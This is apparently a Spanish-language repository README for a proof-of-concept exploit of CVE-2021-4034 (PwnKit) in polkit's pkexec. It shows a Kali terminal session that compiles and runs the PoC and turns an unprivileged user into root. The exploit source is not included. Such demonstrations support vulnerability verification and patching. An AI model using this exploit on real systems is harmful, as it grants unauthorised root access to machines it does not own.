nis3x/cve-2021-4034Prueba de concepto del exploit para CVE-2021-4034 (PwnKit), una vulnerabilidad de escalada de privilegios local en pkexec de polkit, que permite a usuarios sin privilegios obtener acceso root en sistemas afectados.
PoC CVE 2021-4034 PwnKit: Vulnerabilidad de escalada de privilegios locales descubierta en pkexec de polkit
#PoC Verificado en Kali.
┌──(kali㉿kali)-[~/Documents]
└─$ grep PRETTY /etc/os-release
PRETTY_NAME="Kali GNU/Linux Rolling"
──(kali㉿kali)-[~/Documents]
└─$ lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2021.4
Codename: kali-rolling
┌──(kali㉿kali)-[~/Documents]
└─$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),143(kaboxer)
┌──(kali㉿kali)-[~/Documents]
└─$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
┌──(kali㉿kali)-[~/Documents]
└─$ ./cve-2021-4034-poc
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),143(kaboxer),1000(kali)
# whoami
root
#